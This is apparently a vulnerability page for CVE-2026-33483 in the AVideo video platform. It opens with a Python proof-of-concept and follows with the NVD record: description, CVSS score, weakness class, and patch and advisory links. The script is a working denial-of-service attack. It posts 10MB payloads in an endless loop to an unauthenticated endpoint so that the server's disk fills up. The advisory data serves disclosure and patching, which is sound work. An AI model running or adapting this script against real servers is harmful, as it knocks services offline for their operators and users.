CVE-2026-33483

import requests target_url = "http://target-site/avideo/aVideoEncoderChunk.json.php" # Generate large payload to consume disk space payload = "A" * 1024 * 1024 * 10 # 10MB of data try: while True: # Send POST request without authentication response = requests.post(target_url, data={"data": payload}) if response.status_code == 200: print("Payload sent successfully, disk space being consumed...") else: print(f"Request failed with status code: {response.status_code}") break except KeyboardInterrupt: print("Attack stopped by user.")

{"cve": {"id": "CVE-2026-33483", "sourceIdentifier": "[email protected]", "published": "2026-03-23T15:16:34.717", "lastModified": "2026-03-24T18:36:55.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `aVideoEncoderChunk.json.php` endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in `/tmp/` with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server. Commit 33d1bae6c731ef1682fcdc47b428313be073a5d1 contains a patch."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En versiones hasta la 26.0 inclusive, el endpoint 'aVideoEncoderChunk.json.php' es un script PHP completamente autónomo sin autenticación, sin inclusiones de framework y sin límites de recursos. Un atacante remoto no autenticado puede enviar datos POST arbitrarios que se escriben en archivos temporales persistentes en '/tmp/' sin límite de tamaño, sin limitación de velocidad y sin mecanismo de limpieza. Esto permite un agotamiento trivial del espacio en disco lo que lleva a la denegación de servicio de todo el servidor. El commit 33d1bae6c731ef1682fcdc47b428313be073a5d1 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/33d1bae6c731ef1682fcdc47b428313be073a5d1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-vv7w-qf5c-734w", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}